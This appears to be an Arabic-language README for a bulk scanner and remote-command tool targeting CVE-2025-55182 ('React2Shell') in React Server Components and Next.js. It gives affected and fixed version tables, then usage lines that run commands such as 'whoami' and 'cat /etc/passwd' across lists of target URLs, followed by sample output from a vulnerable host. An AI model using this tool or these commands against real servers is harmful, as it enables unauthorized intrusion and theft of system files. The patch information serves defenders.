
ماسح آلي لـ CVE-2025-55182: ثغرة RCE حرجة في مكونات خادم React و Next.js.
أداة فحص وتحقق جماعي لثغرة تنفيذ الأوامر عن بعد CVE-2025-55182 (React2Shell).
⚠️ ثغرة خطيرة بـ CVSS 10.0 | تؤثر على مكونات React Server وإصدارات Next.js 15.x/16.x | للاستخدام في اختبارات الأمان المصرح بها فقط
CVE-2025-55182 (المعروفة أيضًا باسم "React2Shell") هي ثغرة تنفيذ أوامر عن بعد (RCE) غير مصادق عليها بدرجة CVSS 10.0 (قصوى).
تنشأ الثغرة عن عدم أمان في إلغاء تسلسل (deserialization) حزمة react-server من مكونات React Server (RSC) عند معالجة بروتوكول RSC "Flight". يمكن للمهاجم إرسال طلبات HTTP مصممة خصيصًا لتنفيذ كود عشوائي على الخادم المصاب.
نظرًا لاستخدام Next.js لبروتوكول RSC "Flight"، فحتى التطبيقات التي تم إنشاؤها باستخدام create-next-app بالإعدادات الافتراضية يمكن استغلالها دون حاجة المطور لكتابة أي كود إضافي. منذ 5 ديسمبر 2025، تم رصد استغلال نشط لهذه الثغرة.
إصدارات React Server Components المتأثرة:
| الحزمة | الإصدارات المتأثرة |
|---|---|
| react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
إصدارات Next.js المتأثرة (باستخدام App Router):
| الإصدار الرئيسي | نطاق الإصدارات المتأثرة | الإصدار المُصلَح |
|---|---|---|
| 16.0.x | ≤ 16.0.6 | 16.0.7 |
| 15.5.x | ≤ 15.5.6 | 15.5.7 |
| 15.4.x | ≤ 15.4.7 | 15.4.8 |
| 15.3.x | ≤ 15.3.5 | 15.3.6 |
| 15.2.x | ≤ 15.2.5 | - |
| 15.1.x | ≤ 15.1.8 | - |
| 15.0.x | ≤ 15.0.4 | - |
| 14.x Canary | ≥ 14.3.0-canary.77 | - |
أطر/أدوات RSC أخرى قد تتأثر:
⚠️ ملاحظة مهمة: لا توجد إجراءات تخفيف مؤقتة معروفة لهذه الثغرة؛ الترقية إلى الإصدار الآمن هي الحل الوحيد.
الإصدارات الموصى بالترقية إليها:
يمكن استخدام حزمة npm الرسمية fix-react2shell-next للمساعدة في تحديث تطبيقات Next.js المتأثرة.
pip install requests
# 批量扫描 (从urls.txt读取目标)
python CVE-2025-55182.py -f urls.txt
# 单目标测试
python CVE-2025-55182.py -u http://192.168.1.100:3000
# 执行 whoami 命令
python CVE-2025-55182.py -f urls.txt -c "whoami"
# 执行 hostname 命令
python CVE-2025-55182.py -u http://target.com -c "hostname"
# 读取文件
python CVE-2025-55182.py -f urls.txt -c "cat /etc/passwd"
# 指定线程数和超时时间
python CVE-2025-55182.py -f urls.txt -t 50 --timeout 15
# 自定义输出文件
python CVE-2025-55182.py -f urls.txt -o scan_results.csv
# 静默模式 (只输出漏洞URL)
python CVE-2025-55182.py -f urls.txt -q
| المعلمة | الوصف | القيمة الافتراضية |
|---|---|---|
-f, --file | ملف قائمة عناوين URL | urls.txt |
-u, --url | عنوان URL واحد | - |
-t, --threads | عدد الخيوط المتزامنة | 20 |
--timeout | مهلة الطلب (ثوان) | 10 |
-o, --output | ملف CSV للإخراج | results.csv |
-c, --command | الأمر المنفذ | id |
-q, --quiet | وضع الصامت | false |
كل سطر يحتوي على عنوان URL واحد، مثال:
http://192.168.1.10:3000
http://192.168.1.11:3000
+---------------------------------------------------------------+
| ### ## ####### ## ## ######## ## ####### |
| #### ## ## ## ## ## ## ## |
| ## ## ## ##### ### ## ## ####### |
| ## #### ## ## ## ## ## ## ## |
| ## ### ####### ## ## ## #### ####### |
| |
| CVE-2025-55182 RCE Scanner |
+---------------------------------------------------------------+
============================================================
[ CONFIGURATION ]
============================================================
> Targets: 10
> Threads: 20
> Command: id
============================================================
[ SCANNING ]
============================================================
[14:30:25] [VULN] http://192.168.1.10:3000
'--> uid=1000(www-data)
[14:30:26] [SAFE] http://192.168.1.11:3000
+==========================================================+
| SCAN COMPLETE |
+==========================================================+
| Total Targets : 10 |
| Vulnerable : 1 |
| Safe : 9 |
| Errors : 0 |
+==========================================================+
يتم حفظ نتائج المسح بتنسيق CSV، وتشمل الحقول التالية:
url - عنوان URL الهدفstatus - رمز حالة HTTPvulnerable - هل توجد ثغرةoutput - مخرجات تنفيذ الأمرerror - رسالة الخطأهذه الأداة مخصصة فقط لاختبارات الأمان المصرح بها، ولا تستخدم لأغراض غير قانونية. يتحمل المستخدم المسؤولية ذات الصلة.